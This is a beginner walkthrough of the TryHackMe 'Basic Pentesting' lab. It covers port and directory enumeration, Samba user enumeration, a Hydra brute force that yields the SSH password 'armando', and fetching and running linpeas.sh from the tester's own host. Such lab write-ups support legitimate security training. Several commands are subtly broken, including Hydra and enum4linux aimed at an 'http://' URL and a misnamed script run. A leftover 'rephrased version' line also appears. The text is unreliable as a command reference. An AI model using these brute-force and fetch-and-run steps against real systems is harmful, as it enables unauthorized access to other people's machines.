Basic Pentesting TryHackMe

This is a beginner-level CTF challenge that involves brute-forcing, hash cracking, service enumeration, and Linux enumeration. The main goal is to help you learn or practice basic penetration testing tools.

You know the drill already .. happy hacking

Task 1 . Web App Testing and Privilege Escalation

As usual, we begin with a network scan using our favorite tool, Nmap.

NMAP RESULT

we can see there are 4 open ports

knowing there is some thing on the port 80 I spin up a browser and search the given ip address 10.10.100.46 but When I visited the website I get this

Next, for the second phase of enumeration, since we see that HTTP is running, we’ll check the website in a browser. Additionally, we will use tools like Gobuster to brute force the website’s files and directories.

Gobuster Result

we got a directory using Gobuster again the IP address http:/targetIP//development/

now when I visit the with the /development I get something

I click on those file and find something interesting on /dev.txt

I check another file just /j.txt and got this

We’ve gathered useful info from port 80, but let’s not get ahead of ourselves until we’ve fully explored everything. Now, let’s check the website on port 8080/http—it appears to be an Apache Tomcat 9.0.7 page. Let’s see what we find.

If you check the nmap scan results again, you’ll notice that the Samba service is running. I’ll use enum4linux to gather information on the users.

enum4linux -a http://targetIP/

here is the rephrased version:

We have the usernames Kay and Jan. What is the password to brute force SSH using Hydra?

hydra -l jan -P /usr/share/wordlists/rockyou.txt http://targetIP/ ssh 

After sometime we get the result :

login: jan   password: armando

Let’s log in using ssh

ssh jan@targetIP

I want the user.txt flag after gaining control of the target host. Enumerate the machine to find any vectors for privilege escalation. Using LinPeas can help identify vulnerabilities or possible ways to escalate privileges to root.

python -m http.server 8080

where you have linpeas.sh located.
I want to wget get this file to /tmp directory, so I’ll cd into that

cd /tmp

wget http://<YOUR_THM_IP>:8080/linpeas.sh
chmod +x linpeas.sh
./leanness.sh